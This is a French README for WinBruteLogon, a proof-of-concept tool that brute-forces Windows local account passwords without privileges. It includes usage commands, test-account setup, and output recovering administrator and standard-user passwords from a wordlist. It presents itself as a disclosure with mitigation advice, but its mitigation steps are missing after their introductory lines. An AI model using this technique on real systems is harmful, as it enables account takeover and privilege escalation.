
Craquez le mot de passe de n'importe quel utilisateur Microsoft Windows sans aucun privilège (compte invité inclus)
Notice 1: Nous sommes ravis d'annoncer que notre outil actuel a été porté vers une version PowerShell. Cela signifie que les utilisateurs peuvent désormais accéder et utiliser l'outil directement depuis la ligne de commande PowerShell, ce qui le rend encore plus pratique et efficace à utiliser. Nous pensons que cette nouvelle version bénéficiera grandement à nos utilisateurs et améliorera leur expérience avec l'outil. Merci pour votre soutien continu et nous espérons que vous apprécierez la nouvelle version PowerShell : https://github.com/DarkCoderSc/power-brute-logon
Notice 2: Nous avons récemment appris que Microsoft a activé la politique de verrouillage de compte par défaut dans les versions modernes et à jour de Windows. Cette politique aide à sécuriser le système en verrouillant un compte après un certain nombre de tentatives de connexion échouées. Bien qu'il s'agisse d'une mesure de sécurité bénéfique, elle rend la preuve de concept (PoC) inefficace sur ces systèmes.
Date de sortie : 2020-05-14
Cible : Windows XP à la dernière version de Windows 10 (1909)

Emplacement de la faiblesse : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon est conçu pour simuler une attaque par force brute sur un compte Microsoft en devinant un grand nombre de combinaisons de mots de passe en peu de temps. Cela permet aux testeurs d'intrusion d'évaluer la posture de sécurité de leurs systèmes et d'examiner leurs défenses contre les attaques par force brute. L'outil exploite l'absence d'un mécanisme de verrouillage de compte, qui est une faiblesse courante dans de nombreux systèmes (avant que le verrouillage de compte ne soit activé par défaut sur Windows 11). En tentant de deviner le mot de passe d'un compte, l'outil peut aider les testeurs d'intrusion à identifier et à traiter les vulnérabilités de leurs mesures de sécurité. Il doit être utilisé de manière responsable et dans les limites de la loi.
Pour cette démonstration, nous allons configurer une version fraîche de Windows 10 sur une machine virtuelle ou physique. Une fois la machine configurée, connectez-vous en tant qu'administrateur. Ensuite, créez deux comptes locaux différents : un compte administrateur et un compte utilisateur standard. Veuillez noter que bien que nous utilisions le compte invité pour la démo, cette preuve de concept (PoC) n'est pas limitée au compte invité. Elle peut être utilisée à partir de n'importe quel compte ou groupe, y compris invité, utilisateur standard et administrateur.
net user darkcodersc /add
net user darkcodersc trousers (trousers est le mot de passe)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm est le mot de passe)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
Dans mon cas, trousers et ozlq6qwm se trouvent tous deux dans SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
Pour commencer la démonstration, déconnectez-vous du compte administrateur ou redémarrez la machine et connectez-vous au compte invité. Ensuite, placez l'exécutable PoC dans un emplacement auquel vous avez accès en tant qu'utilisateur invité.
Usage : WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v est optionnel, il désigne le mode verbeux.
Par défaut, le nom de domaine est la valeur désignée par la variable d'environnement %USERDOMAIN%. Vous pouvez spécifier un nom personnalisé avec l'option -d
darkcodersc (Administrateur)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Attendez quelques secondes pour voir le résultat suivant :
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (Utilisateur standard)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Attendez quelques secondes pour voir le résultat suivant :
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"Dans un scénario réel, si un attaquant obtient l'accès à un compte utilisateur à faible privilège, il pourrait être en mesure de casser le mot de passe d'un utilisateur plus privilégié et d'escalader ses privilèges. Pour atténuer ce risque, plusieurs mesures peuvent être prises :
Pour mettre en œuvre une politique de verrouillage de compte (qui n'est pas activée par défaut), suivez ces étapes :
Veuillez noter que la politique de verrouillage ne s'applique pas au compte administrateur. Dans ce cas, la meilleure protection pour le compte administrateur (s'il est activé) est de définir un mot de passe très complexe.
Un rapport détaillant cette faiblesse a été envoyé à l'équipe de sécurité Microsoft. Ils devraient envisager d'activer la politique de verrouillage de compte par défaut."
(MISE À JOUR 2022) : Le verrouillage de compte enfin activé par défaut.